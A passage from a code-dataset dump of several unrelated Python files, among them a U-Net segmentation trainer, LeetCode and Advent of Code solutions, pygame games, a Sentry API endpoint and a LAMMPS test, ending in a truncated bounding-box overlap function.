x\n\n\ndef data_augmentation():\n    augs = keras.Sequential(\n        [\n            keras.layers.RandomFlip(\"horizontal_and_vertical\"),\n            keras.layers.RandomRotation(0.5),\n            # keras.layers.RandomContrast(0.1),\n            # keras.layers.RandomBrightness(0.1),\n        ]\n    )\n    return augs\n\n\ndef build_unet(input_shape, aug=False):\n    inputs = Input(input_shape)\n    if aug:\n        inputs = data_augmentation()(inputs)\n    s1, p1 = encoder_block(inputs, 64)\n    s2, p2 = encoder_block(p1, 128)\n    s3, p3 = encoder_block(p2, 256)\n    s4, p4 = encoder_block(p3, 512)\n    b1 = conv_block(p4, 1024)\n    d1 = decoder_block(b1, s4, 512)\n    d2 = decoder_block(d1, s3, 256)\n    d3 = decoder_block(d2, s2, 128)\n    d4 = decoder_block(d3, s1, 64)\n\n    if MULTICLASS:\n        outputs = Conv2D(filters=N_CLASSES, kernel_size=(1,1), padding=\"same\", activation=\"softmax\")(d4)\n    else:\n        outputs = Conv2D(1, 1, padding=\"same\", activation=\"sigmoid\")(d4)\n\n    model = Model(inputs, outputs, name=\"U-Net\")\n    return model\n\n\ndef callbacks(name):\n    cb = []\n    now = datetime.datetime.now().strftime(\"%Y%m%d-%H%M%S\")\n    LOGS_DIR = os.path.join(BASE_LOGS_DIR, f\"{now}_{name}\")\n    if not os.path.exists(LOGS_DIR):\n        os.makedirs(LOGS_DIR)\n    tensorboard = keras.callbacks.TensorBoard(\n        log_dir=LOGS_DIR,\n        histogram_freq=1,\n    )\n    checkpoint = keras.callbacks.ModelCheckpoint(\n        os.path.join(LOGS_DIR, f\"{name}_best_wg.h5\"),\n        save_best_only=True,\n        mode=\"min\",\n        monitor=\"val_loss\",\n        save_weights_only=True,\n        verbose=1,\n    )\n    lr_decay = keras.callbacks.ReduceLROnPlateau(\n        monitor=\"val_loss\",\n        factor=0.1,\n        patience=5,\n        verbose=1,\n        mode=\"auto\",\n        min_delta=0.0001,\n        cooldown=1,\n        min_lr=0.00001,\n    )\n    log = keras.callbacks.CSVLogger(os.path.join(LOGS_DIR, f\"{now}_{name}_history.csv\"))\n    cb.append(tensorboard)\n    cb.append(checkpoint)\n    cb.append(lr_decay)\n    cb.append(log)\n    return cb\n\n\ndef train_unet(\n    X_train,\n    y_train,\n    X_test,\n    y_test,\n    batch_size=16,\n    epochs=100,\n    eta=1e-2,\n    cb=None,\n    masked_loss=False,\n):\n    input_shape = X_train.shape[1:]\n    model = build_unet(input_shape)\n    batch_size = batch_size\n    epochs = epochs\n    \n    if MULTICLASS:\n        loss = \"categorical_crossentropy\"\n        metrics = MeanIoU(num_classes=N_CLASSES)\n    else:\n        loss = \"binary_crossentropy\"\n        metrics = BinaryIoU(target_class_ids=[1], threshold=0.5)\n\n    model.compile(\n        optimizer=Adam(learning_rate=eta),\n        loss=loss,\n        metrics=[metrics],\n    )\n    history = model.fit(\n        X_train,\n        y_train,\n        batch_size=batch_size,\n        epochs=epochs,\n        validation_data=(X_test, y_test),\n        verbose=1,\n        callbacks=cb,\n    )\n    return model, history\n\ndef concat_train_test(X_train, y_train, X_test, y_test, X_train_add, y_train_add, X_test_add, y_test_add):\n    X_train = np.concatenate((X_train, X_train_add), axis=0)\n    y_train = np.concatenate((y_train, y_train_add), axis=0)\n    X_test = np.concatenate((X_test, X_test_add), axis=0)\n    y_test = np.concatenate((y_test, y_test_add), axis=0)\n    return X_train, y_train, X_test, y_test\n\ndef load_datasets(include_nir=False, add_ndvi=False, select_labels=False, squash=True):\n    # Load Kivalina\n    X_train, y_train, X_test, y_test = prep_data(\n        \"data/WA_Kivalina_01_20219703/20cm/Ortho\",\n        include_nir=include_nir,\n        add_ndvi=add_ndvi,\n        select_labels=select_labels,\n        squash=squash,\n        img_size_override=2500,\n    )\n\n    # Load Kotzebue\n    X_train_add, y_train_add, X_test_add, y_test_add = prep_data(\n        \"data/WA_Kotzebue_01_20210625/20cm/Ortho\",\n        include_nir=include_nir,\n        add_ndvi=add_ndvi,\n        select_labels=select_labels,\n        squash=squash,\n        img_size_override=2500,\n    )\n\n    # Concatenate Kivalina and Kotzebue\n    X_train, y_train, X_test, y_test = concat_train_test(\n        X_train, y_train, X_test, y_test, X_train_add, y_train_add, X_test_add, y_test_add\n    )\n\n    # Load Shishmaref\n    X_train_add, y_train_add, X_test_add, y_test_add = prep_data(\n        \"data/WA_Shishmaref_01_20210628/20cm/Ortho\",\n        include_nir=include_nir,\n        add_ndvi=add_ndvi,\n        select_labels=select_labels,\n        squash=squash,\n        img_size_override=2500,\n    )\n\n    # Concatenate Shishmaref to train test sets\n    X_train, y_train, X_test, y_test = concat_train_test(\n        X_train, y_train, X_test, y_test, X_train_add, y_train_add, X_test_add, y_test_add\n    )\n\n    print(\"\\nFinal concatenated sizes:\\n\")\n    print(\"-------------------------\\n\")\n    print(\"X_train:\", X_train.shape)\n    print(\"y_train:\", y_train.shape)\n    print(\"X_test:\", X_test.shape)\n    print(\"y_test:\", y_test.shape)\n    \n    return X_train, y_train, X_test, y_test\n\ndef train_set(include_nir=False, add_ndvi=False, squash=True):\n    \n    X_train, y_train, X_test, y_test = load_datasets(include_nir=include_nir, add_ndvi=add_ndvi, select_labels=SELECT_LABELS, squash=True)\n\n    if MULTICLASS:\n        y_train = tf.keras.utils.to_categorical(y_train, N_CLASSES)\n        y_test = tf.keras.utils.to_categorical(y_test, N_CLASSES)\n        \n    # MODEL\n    # Data structure\n    stats = [\"loss\", \"val_loss\", \"iou\", \"val_iou\", \"mean_biou\", \"human_biou\", \"bg_biou\"]\n\n    data = np.zeros((N_FOLDS, len(stats)), dtype=object)\n\n    # Initialize the KFold\n    kf = KFold(n_splits=N_FOLDS, shuffle=True)\n\n    for i, (itrain, itest) in enumerate(\n        tqdm(\n            kf.split(\n                X_train,\n                y_train,\n            ),\n            desc=\"K-Folds\",\n            position=0,\n            leave=True,\n            total=N_FOLDS,\n        )\n    ):\n        X_train_fold = X_train[itrain]\n        y_train_fold = y_train[itrain]\n        X_test_fold = X_train[itest]\n        y_test_fold = y_train[itest]\n\n        # Set callbacks each iteration so that logs are stored in new\n        # directory\n        cb = callbacks(f\"KF{i+1}of{N_FOLDS}_{set_name}\")\n        model, history = train_unet(\n            X_train_fold,\n            y_train_fold,\n            X_test_fold,\n            y_test_fold,\n            batch_size=BATCH_SIZE,\n            epochs=EPOCHS,\n            eta=ETA,\n            cb=cb,\n        )\n\n        # Loss and accuracies from each epoch\n        loss = history.history[\"loss\"]\n        val_loss = history.history[\"val_loss\"]\n        iou = history.history[list(history.history.keys())[1]]\n        val_iou = history.history[list(history.history.keys())[3]]\n\n        # Test the model on the preserved test data\n        y_pred = model.predict(X_test, batch_size=2)\n\n        # Get the IoU for the test data\n        biou = BinaryIoU(target_class_ids=[0, 1], threshold=0.5)\n        biou.update_state(y_pred=y_pred, y_true=y_test)\n        pred_biou = biou.result().numpy()\n\n        # only for human-built\n        human_biou = BinaryIoU(target_class_ids=[1], threshold=0.5)\n        human_biou.update_state(y_pred=y_pred, y_true=y_test)\n        pred_human_biou = human_biou.result().numpy()\n\n        # only for non-tree pixel (background)\n        bg_biou = BinaryIoU(target_class_ids=[0], threshold=0.5)\n        bg_biou.update_state(y_pred=y_pred, y_true=y_test)\n        pred_bg_biou = bg_biou.result().numpy()\n\n        # Log the five stats according to their K-Fold and parameter iteration\n        stats = [\n            loss,\n            val_loss,\n            iou,\n            val_iou,\n            pred_biou,\n            pred_human_biou,\n            pred_bg_biou,\n        ]\n\n        for s, stat in enumerate(stats):\n            data[i, s] = stat\n\n        # Save the updated array each iteration\n        np.save(f\"stats/{N_FOLDS}folds_CV_{set_name}.npy\", data)\n\n\nif __name__ == \"__main__\":\n    for set_name in tqdm(SET_NAMES, desc=\"Set\", total=len(SET_NAMES)):\n        train_set(include_nir=True, add_ndvi=True, squash=True)\n","repo_name":"dluks/permafrost-final","sub_path":"unet.py","file_name":"unet.py","file_ext":"py","file_size_in_byte":9473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"42788318660","text":"# Definition for singly-linked list.\n# class ListNode:\n#     def __init__(self, val=0, next=None):\n#         self.val = val\n#         self.next = next\nimport heapq\nclass Solution:\n    def mergeKLists(self, lists: List[ListNode]) -> ListNode:\n        pq = [] \n        dummy = ListNode(-1)\n        node = dummy\n        for i in range(len(lists)):\n            if lists[i]:\n                heapq.heappush(pq, (lists[i].val, i, lists[i]))\n        \n        while pq:\n            val, index, curr = heapq.heappop(pq)\n            node.next = curr\n            node = node.next \n            curr = curr.next\n            if curr:\n                heapq.heappush(pq, (curr.val, index, curr))\n        \n        return dummy.next","repo_name":"shantanu609/Leetcode","sub_path":"merge-k-sorted-lists/merge-k-sorted-lists.py","file_name":"merge-k-sorted-lists.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"19319556232","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\n#!/usr/bin/python\n\n\"\"\" \n    This is the code to accompany the Lesson 3 (decision tree) mini-project.\n\n    Use a Decision Tree to identify emails from the Enron corpus by author:    \n    Sara has label 0\n    Chris has label 1\n\"\"\"\n    \nimport sys\nfrom time import time\nsys.path.append(\"../tools/\")\nfrom email_preprocess import preprocess\nfrom datetime import datetime\n\n\n# In[2]:\n\n\n### features_train and features_test are the features for the training\n### and testing datasets, respectively\n### labels_train and labels_test are the corresponding item labels\nt1 = datetime.now()\nfeatures_train, features_test, labels_train, labels_test = preprocess()\nt2 = datetime.now()\ndelta = t2 - t1\nprint(delta.total_seconds())\nfeatures_train.shape\n\n\n# In[ ]:\n\n\nt1 = datetime.now()\nfrom sklearn.tree import DecisionTreeClassifier\nclf = DecisionTreeClassifier(min_samples_split=40)\nclf.fit(features_train,labels_train)\nt2 = datetime.now()\ndelta = t2 - t1\nprint(delta.total_seconds())\n\n\n# In[4]:\n\n\nt1 = datetime.now()\ny_pred = clf.predict(features_test)\nt2 = datetime.now()\ndelta = t2 - t1\nprint(delta.total_seconds())\n\n\n# In[5]:\n\n\nprint(\"Number of mislabeled points out of a total %d points : %d\"\n      % (features_test.shape[0], (labels_test != y_pred).sum()))\n\n\n# In[6]:\n\n\nfrom sklearn.metrics import accuracy_score\nscor = accuracy_score(y_pred,labels_test)\nscor\n\n\n# In[7]:\n\n\nprint(len(features_train[0]))\n\n\n# In[8]:\n\n\nfeatures_train\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"pravinkucha/ML","sub_path":"decision_tree/dt_author_id.py","file_name":"dt_author_id.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"43985852764","text":"import enemies\r\nimport pygame\r\nimport math\r\nclass Projectile:\r\n    def __init__(self, grid_pos, enemy, path:list, game):\r\n        if not isinstance(enemy, enemies.Enemy):\r\n            raise TypeError(\"Input must be an enemy_class\")\r\n\r\n        self.done = False\r\n        self.grid_pos = grid_pos\r\n        self.enemy = enemy\r\n        self.path = path\r\n        self.screen = game.screen\r\n        self.speed = 10\r\n        self.pos = [self.grid_pos[0]*80 + 40, self.grid_pos[1]*80 + 40]\r\n        self.original_pos = self.pos\r\n        self.image = pygame.image.load(\"sprites/projectiles/box_cutter_projectile.png\")\r\n        self.image = pygame.transform.rotate(self.image, 90)\r\n        self.rect = self.image.get_rect()\r\n        self.rotated_image = self.image.copy()\r\n        self.rotation = 0\r\n        self.coords = [0, 0]\r\n        \r\n\r\n        self._update_rect()\r\n        \r\n\r\n    def update_self(self):\r\n\r\n        self._move_projectile()\r\n        self._check_for_enemy()\r\n        self._update_rect()\r\n        self._rotate()\r\n        self._blit_self()\r\n\r\n    def _move_projectile(self):\r\n        self.coords = [(self.enemy.pos[0]*80+40)-self.pos[0],(self.enemy.pos[1]*80+40)-self.pos[1]] #Get's the difference between the current position in pixels, and the enemy's grid position in pixels\r\n        hyp = math.hypot(self.coords[0], self.coords[1]) #Hypotenuse between arrow and target calculated\r\n        \r\n        # Unless the distance is 0 it updates the position of the arrow relative to the angle\r\n        if hyp != 0:\r\n            cos = self.coords[0]/hyp\r\n            sin = self.coords[1]/hyp\r\n\r\n            self.pos[0] += cos * self.speed\r\n            self.pos[1] += sin * self.speed\r\n            \r\n\r\n    def _update_rect(self):\r\n        self.rect.x = self.pos[0]\r\n        self.rect.y = self.pos[1]\r\n        \r\n    def _check_for_enemy(self):\r\n        is_at_enemy_x = self.enemy.pos[0] * 80 <= self.pos[0] <= self.enemy.pos[0]*80 + 80\r\n        is_at_enemy_y = self.enemy.pos[1] * 80 <= self.pos[1] <= self.enemy.pos[1]*80 + 80\r\n        if is_at_enemy_x and is_at_enemy_y:\r\n            #Do something\r\n            self.enemy.take_damage(100)\r\n            self.done = True\r\n            \r\n    \r\n    def _rotate(self):\r\n        original_rect = self.image.get_rect() \r\n        \r\n        # To be honest I'm not quite sure what i was thinking at the time i wrote this \r\n        #       Negative atan towards the enemy. It just works  ¯\\_(ツ)_/¯\r\n        rot = -math.degrees(math.atan2(self.coords[1], self.coords[0]))\r\n\r\n        self.rotated_image = pygame.transform.rotate(self.image, rot+180)   #Rotates the image the rotation plus 180 degrees to compensate for image orientation\r\n        rotated = self.rotated_image.get_rect()\r\n        self.rotation = rot\r\n        dif = [original_rect[2]-rotated[2], original_rect[3]-rotated[3]]    #Difference in widt, height, in the rect\r\n        \r\n        #Compensates for the picture shifting\r\n        self.rect.x += dif[0]\r\n        self.rect.y += dif[1]\r\n        \r\n        \r\n        \r\n    def _blit_self(self):\r\n        self.screen.blit(self.rotated_image, self.rect)\r\n        \r\n\r\nclass ScissorArrow(Projectile):\r\n    def __init__(self, grid_pos, enemy, path: list, game):\r\n        super().__init__(grid_pos, enemy, path, game)\r\n        self.speed = 15\r\n        self.image = pygame.image.load(\"sprites/projectiles/Tower_2_projectile.png\")\r\n        self.image = pygame.transform.rotate(self.image, 315)\r\n        self.rect = self.image.get_rect()\r\n        self.rotated_image = self.image.copy() # Deep copy not needed\r\n\r\nclass KnifeArrow(Projectile):\r\n    def __init__(self, grid_pos, enemy, path: list, game):\r\n        super().__init__(grid_pos, enemy, path, game)\r\n        self.speed = 15\r\n        self.image = pygame.image.load(\"sprites/projectiles/box_cutter_projectile.png\")\r\n        self.image = pygame.transform.rotate(self.image, 0)\r\n        self.rect = self.image.get_rect()\r\n        self.rotated_image = self.image.copy() # Deep copy not needed\r\n","repo_name":"Joac2363/WarehouseTD","sub_path":"projectiles.py","file_name":"projectiles.py","file_ext":"py","file_size_in_byte":3994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"42789677020","text":"\ndef handle_group(content, index, depth):\n    result = depth\n    garbage_mode = False\n    ignore_mode = False\n    child_consumed = 0\n    consumed = 0\n    garbage_consumed = 0\n    for i in range(index, len(content)):\n        char = content[i]\n        consumed += 1\n        if child_consumed > 0:\n            child_consumed -= 1\n            continue\n        if ignore_mode:\n            ignore_mode = False\n            continue\n        if char == '!':\n            ignore_mode = True\n            continue\n        if garbage_mode:\n            if char != '>':\n                garbage_consumed += 1\n                continue\n            garbage_mode = False\n            continue\n        if char == '<':\n            garbage_mode = True\n            continue\n\n        if char == '{':\n            result_child = handle_group(content, i + 1, depth+1)\n            child_consumed += result_child[1]\n            result += result_child[0]\n            garbage_consumed += result_child[2]\n        if char == '}':\n            return result, consumed, garbage_consumed\n        if char == ',':\n            continue\n    return result, consumed, garbage_consumed\n\n\ndef calculate_solution():\n\n    with open('day9/day9_input.txt', 'r') as f:\n        content = f.read()\n\n    result = handle_group(content, 0, 0)\n    return result[0], result[2]\n","repo_name":"ohaz/adventofcode2017","sub_path":"day9/day9.py","file_name":"day9.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"73594393320","text":"import pygame \nfrom board import Board\nSCREEN_WIDTH = 600\nSCREEN_HEIGHT = 600\n\nclass Text:\n    def __init__(self,text,pos):\n        \n        font = pygame.font.Font('freesansbold.ttf', 72)\n        self.text = font.render(text, True, (255,0,0), (255,255,255))\n        self.textRect = self.text.get_rect()\n        self.textRect.center = self._convert_position(pos)\n\n    def blit(self,screen):\n        screen.blit(self.text, self.textRect)\n    \n    def _convert_position(self,pos):\n        w = SCREEN_WIDTH//3\n        h = SCREEN_HEIGHT//3\n        p1 = pos[0]\n        p2 = pos[1]\n        return (w*p1 + w//2,h*p2+ h//2)\n\nclass pygameBoard(Board):\n    def __init__(self):\n        super().__init__()\n\n    def pygame_display(self,screen):\n        '''\n        display the current board on the screen\n        '''\n        #There are 3 rows and 3 columns\n        w1 = SCREEN_WIDTH//3\n        h1 = SCREEN_HEIGHT//3\n\n\n        for row in range(3):\n            for col in range(3):\n                if self.board[row][col] != ' ':\n                    text = Text(self.board[row][col],(row ,col ))  \n                     \n                    text.blit(screen)\n\n\ndef reset_screen(screen):\n    '''\n    reset the screen and draw\n    the tic tac toe lines\n    '''\n    w1 = SCREEN_WIDTH//3\n    w2 = (2*SCREEN_WIDTH)//3\n    h1 = SCREEN_HEIGHT//3\n    h2 = (2*SCREEN_HEIGHT)//3\n    screen.fill(\"White\")\n    pygame.draw.line(screen, (0,0,0), (w1, 0), (w1, SCREEN_HEIGHT))\n    pygame.draw.line(screen, (0,0,0), (w2, 0), (w2, SCREEN_HEIGHT))\n    pygame.draw.line(screen, (0,0,0), (0,h1), ( SCREEN_HEIGHT,h1))\n    pygame.draw.line(screen, (0,0,0), (0,h2), (SCREEN_HEIGHT,h2))\n    \n    return screen","repo_name":"georgeshakan/TicTacToeInPygame","sub_path":"src/pygamehelpers.py","file_name":"pygamehelpers.py","file_ext":"py","file_size_in_byte":1669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"25703752064","text":"# test that lammpslib handle nonperiodic cases where the cell size\n# in some directions is small (for example for a dimer).\nfrom __future__ import print_function\nimport os\nimport numpy as np\nfrom ase.calculators.lammpslib import LAMMPSlib\nfrom ase import Atoms\n\npotential_path = os.environ.get('LAMMPS_POTENTIALS_PATH', '.')\ncmds = [\"pair_style eam/alloy\",\n        \"pair_coeff * * {path}/NiAlH_jea.eam.alloy Ni H\"\n        \"\".format(path=potential_path)]\nlammps = LAMMPSlib(lmpcmds=cmds,\n                   atom_types={'Ni': 1, 'H': 2},\n                   log_file='test.log', keep_alive=True)\na = 2.0\ndimer = Atoms(\"NiNi\", positions=[(0,0,0),(a,0,0)],\n              cell=(1000*a, 1000*a, 1000*a),pbc=(0,0,0))\ndimer.set_calculator(lammps)\n\nenergy_ref = -1.10756669119\nenergy = dimer.get_potential_energy()\nprint(\"Computed energy: {}\".format(energy))\ndiff = abs((energy - energy_ref) / energy_ref)\nnp.testing.assert_allclose(energy, energy_ref, atol=1e-10)\n\nnp.set_printoptions(precision=16)\nforces_ref = np.array([[-0.9420162329811532, 0., 0.],[ 0.9420162329811532, 0., 0. ]])\nforces = dimer.get_forces()\nprint(np.array2string(forces))\nnp.testing.assert_allclose(forces, forces_ref, atol=1e-10)\n","repo_name":"martin-stoehr/ase-devel","sub_path":"ase/test/lammpslib/lammpslib_small_nonperiodic.py","file_name":"lammpslib_small_nonperiodic.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"7865643833","text":"import sys\n\ninput = sys.stdin.readline\n\nif __name__ == \"__main__\":\n    n, k = map(int, input().split())\n    arr = [string for string in input().strip()]\n    ch = [False] * n\n    res = 0\n    for i in range(n):\n        if arr[i] == 'P':\n            for j in range(-k, k + 1):\n                if 0 <= i + j < n and arr[i + j] == 'H' and not ch[i + j]:\n                    ch[i + j] = True\n                    res += 1\n                    break\n\n    print(res)\n","repo_name":"ohy1023/pythonAlgorithm","sub_path":"softeer/level3/스마트 물류.py","file_name":"스마트 물류.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"17957270125","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time    : 2019/8/21 11:29\n# @Site    : \n# @File    : binary_search_sort.py\n# @Software: PyCharm\n\n# def binary_search_sort(nums):\n#     for i in range(1, len(nums)):\n#         low = 0\n#         high = i-1\n#         current_value = nums[i]\n#         position = i\n#         while low <= high:\n#             middle = (low+high) // 2\n#             if nums[middle] > current_value:\n#                 high = middle - 1\n#             else:\n#                 low = middle + 1\n#             while position > low:\n#                 nums[position] = nums[position-1]\n#                 position -= 1\n#             nums[low] = current_value\n#         return nums\n#\n# print(binary_search_sort([54,26,93,15,77,3,44,55,20]))\n\ndef foo(l, k):\n    left = 0\n    right = len(l) - 1\n    while left <= right:\n        mid = (left + right) // 2\n        if l[mid] > k:\n            right = mid - 1\n        elif l[mid] < k:\n            left = mid + 1\n        elif l[mid] == k:\n            return mid\n    return -1\n\n\nif __name__ == '__main__':\n    l = [54,26,93,15,77,3,44,55,20]\n    print(l)  # [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]\n    print(foo(l, 8))  # 8","repo_name":"Dwyanepeng/leetcode","sub_path":"sort/binary_search_sort.py","file_name":"binary_search_sort.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"21596592713","text":"from collections import namedtuple\nimport functools\n\nfrom cbtk.core import groupby\nfrom cbtk.speedup import make_speedup_matrices, SpeedupMatrix\n\n\ndef print_speedups(matrix):\n    for suite in matrix:\n        runners = matrix[suite].runners()\n        for r0 in runners:\n            for r1 in runners:\n                record = matrix[suite].get(r0, r1)\n                speedups = record.get_values_by_metric(\"_speedup\")\n                average = speedups[\"_average\"]\n                print(\n                    f\"{str(suite):20} {r0.longname:40} -> {r1.longname:40}: \"\n                    f\"{average:.3}\")\n\n\ndef get_oldest(records):\n\n    def cmp_run_at(x, y):\n        return x if x.run_at < y.run_at else y\n\n    return functools.reduce(cmp_run_at, records)\n\n\ndef get_latest(records):\n\n    def cmp_run_at(x, y):\n        return x if x.run_at > y.run_at else y\n\n    return functools.reduce(cmp_run_at, records)\n\n\ndef convert_to_table(suite, matrix):\n    Table = namedtuple(\"Table\", [\"caption\", \"header\", \"rows\"])\n\n    def fmt_runner(runner):\n        name = [f\"{runner.name}-{runner.version}\"]\n        if runner.tags:\n            name += [f\"({runner.tags})\"]\n        return name\n\n    header = [fmt_runner(r) for r in matrix.runners()]\n\n    rows = []\n    for r0 in matrix.runners():\n        row = [fmt_runner(r0)]\n        row += [\n            f\"{matrix.get(r0, r1).value('_speedup', '_average'):.2f}\"\n            for r1 in matrix.runners()\n        ]\n        rows += [row]\n\n    return Table(caption=str(suite), header=header, rows=rows)\n\n\ndef make_host_section(config, hostname, records, matrix):\n    Section = namedtuple(\n        \"Data\",\n        [\"hostname\", \"latest_run_at\", \"oldest_run_at\", \"num_runs\", \"tables\"])\n\n    oldest = get_oldest(records)\n    latest = get_latest(records)\n\n    tables = [convert_to_table(k, v) for k, v in matrix.items()]\n\n    return Section(hostname=hostname,\n                   latest_run_at=latest.run_at.strftime(\"%c\"),\n                   oldest_run_at=oldest.run_at.strftime(\"%c\"),\n                   num_runs=len(records),\n                   tables=tables)\n\n\ndef make_html(maker, config, sections):\n    home_template = maker.get_template(\"home.html\")\n    contents = home_template.render(sections=sections)\n\n    data = {\n        \"title\": \"Home\",\n        \"contents\": contents,\n    }\n\n    return maker.render_page(config, **data)\n\n\ndef drop_older_patch(runners):\n    dropped = []\n    for r0 in runners:\n        is_older = any([r0.is_older_patch(r1) for r1 in runners])\n        if not is_older:\n            dropped += [r0]\n\n    return dropped\n\n\ndef drop_patch(matrix):\n    runners = matrix.runners()\n    runners = drop_older_patch(runners)\n\n    dropped = SpeedupMatrix()\n    for r0 in runners:\n        for r1 in runners:\n            dropped.set(r0, r1, matrix.get(r0, r1))\n\n    return dropped\n\n\ndef make_page(maker, config, records):\n    groups = groupby(records, key=lambda r: r.hostname)\n\n    sections = []\n    for hostname in groups:\n        matrices = make_speedup_matrices(groups[hostname], config)\n        matrices = {k: drop_patch(v) for k, v in matrices.items()}\n        # print_speedups(matrices)\n        section = make_host_section(config, hostname, groups[hostname],\n                                    matrices)\n        sections += [section]\n\n    maker.write(\"index.html\", make_html(maker, config, sections))\n","repo_name":"iszk1215/cbtk","sub_path":"cbtk/pages/home.py","file_name":"home.py","file_ext":"py","file_size_in_byte":3342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"33078962554","text":"from __future__ import absolute_import\n\nimport six\n\nfrom collections import OrderedDict\nfrom rest_framework.response import Response\n\nfrom sentry import tsdb\nfrom sentry.api.base import StatsMixin\nfrom sentry.api.bases.project import ProjectEndpoint\nfrom sentry.api.exceptions import ResourceDoesNotExist\nfrom sentry.models import ProjectKey\n\n\nclass ProjectKeyStatsEndpoint(ProjectEndpoint, StatsMixin):\n    def get(self, request, project, key_id):\n        try:\n            key = ProjectKey.objects.get(\n                project=project,\n                public_key=key_id,\n                roles=ProjectKey.roles.store,\n            )\n        except ProjectKey.DoesNotExist:\n            raise ResourceDoesNotExist\n\n        stat_args = self._parse_args(request)\n\n        stats = OrderedDict()\n        for model, name in (\n            (tsdb.models.key_total_received,\n             'total'), (tsdb.models.key_total_blacklisted, 'filtered'),\n            (tsdb.models.key_total_rejected, 'dropped'),\n        ):\n            result = tsdb.get_range(model=model, keys=[key.id], **stat_args)[key.id]\n            for ts, count in result:\n                stats.setdefault(int(ts), {})[name] = count\n\n        return Response(\n            [\n                {\n                    'ts': ts,\n                    'total': data['total'],\n                    'dropped': data['dropped'],\n                    'filtered': data['filtered'],\n                    'accepted': data['total'] - data['dropped'] - data['filtered'],\n                } for ts, data in six.iteritems(stats)\n            ]\n        )\n","repo_name":"fictional-tribble-2/getsentry--sentry","sub_path":"src/sentry/api/endpoints/project_key_stats.py","file_name":"project_key_stats.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"74448677800","text":"import numpy as np\r\nimport scipy.io as sio\r\n\r\n\"\"\"\r\nConverts weights provided by authors in `B1.npy`, `B2.npy`, `W1.npy` \r\nand `W2.npy` into a single `two-layer.mat` file.\r\n\"\"\"\r\n\r\nd = {}\r\n\r\nb1 = np.load(\"B1.npy\")\r\nb2 = np.load(\"B2.npy\")\r\nw1 = np.load(\"W1.npy\")\r\nw2 = np.load(\"W2.npy\")\r\n\r\nd[\"fc1/weight\"] = w1\r\nd[\"fc1/bias\"] = b1\r\nd[\"logits/weight\"] = w2\r\nd[\"logits/bias\"] = b2\r\n\r\nsio.savemat(\"two-layer.mat\", d)","repo_name":"Hadisalman/robust-verify-benchmark","sub_path":"weights/experiment_1/MIPVerify_data/weights/mnist/RSL18a/linf0.1/convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"18"}
{"seq_id":"3272891161","text":"import io\nimport numpy as np\nfrom torch import nn\nimport torch.utils.model_zoo as model_zoo\nimport torch.onnx\n\nimport torch.nn as nn\nimport torch.nn.init as init\nfrom gen_data import gen_np_args, args_adaptor\n\nimport onnx\n\ndef bbox_overlaps(bboxes1, bboxes2, mode=\"iou\", is_aligned=False, eps=1e-6):\n    \"\"\"Calculate overlap between two set of bboxes.\n\n    If ``is_aligned`` is ``False``, then calculate the ious between each bbox\n    of bboxes1 and bboxes2, otherwise the ious between each aligned pair of\n    bboxes1 and bboxes2.\n\n    Args:\n        bboxes1 (Tensor): shape (m, 4) in <x1, y1, x2, y2> format or empty.\n        bboxes2 (Tensor): shape (n, 4) in <x1, y1, x2, y2> format or empty.\n            If is_aligned is ``True``, then m and n must be equal.\n        mode (str): \"iou\" (intersection over union) or iof (intersection over\n            foreground).\n\n    Returns:\n        ious(Tensor): shape (m, n) if is_aligned == False else shape (m, 1)\n\n    Example:\n        >>> bboxes1 = torch.FloatTensor([\n        >>>     [0, 0, 10, 10],\n        >>>     [10, 10, 20, 20],\n        >>>     [32, 32, 38, 42],\n        >>> ])\n        >>> bboxes2 = torch.FloatTensor([\n        >>>     [0, 0, 10, 20],\n        >>>     [0, 10, 10, 19],\n        >>>     [10, 10, 20, 20],\n        >>> ])\n        >>> bbox_overlaps(bboxes1, bboxes2)\n        tensor([[0.5000, 0.0000, 0.0000],\n                [0.0000, 0.0000, 1.0000],\n                [0.0000, 0.0000, 0.0000]])\n\n    Example:\n        >>> empty = torch.FloatTensor([])\n        >>> nonempty = torch.FloatTensor([\n        >>>     [0, 0, 10, 9],\n        >>> ])\n        >>> assert tuple(bbox_overlaps(empty, nonempty).shape) == (0, 1)\n        >>> assert tuple(bbox_overlaps(nonempty, empty).shape) == (1, 0)\n        >>> assert tuple(bbox_overlaps(empty, empty).shape) == (0, 0)\n    \"\"\"\n\n    assert mode in [\"iou\", \"iof\"]\n    # Either the boxes are empty or the length of boxes's last dimenstion is 4\n    assert bboxes1.size(-1) == 4 or bboxes1.size(0) == 0\n    assert bboxes2.size(-1) == 4 or bboxes2.size(0) == 0\n\n    rows = bboxes1.size(0)\n    cols = bboxes2.size(0)\n    if is_aligned:\n        assert rows == cols\n\n    if rows * cols == 0:\n        return bboxes1.new(rows, 1) if is_aligned else bboxes1.new(rows, cols)\n\n    if is_aligned:\n        lt = torch.max(bboxes1[:, :2], bboxes2[:, 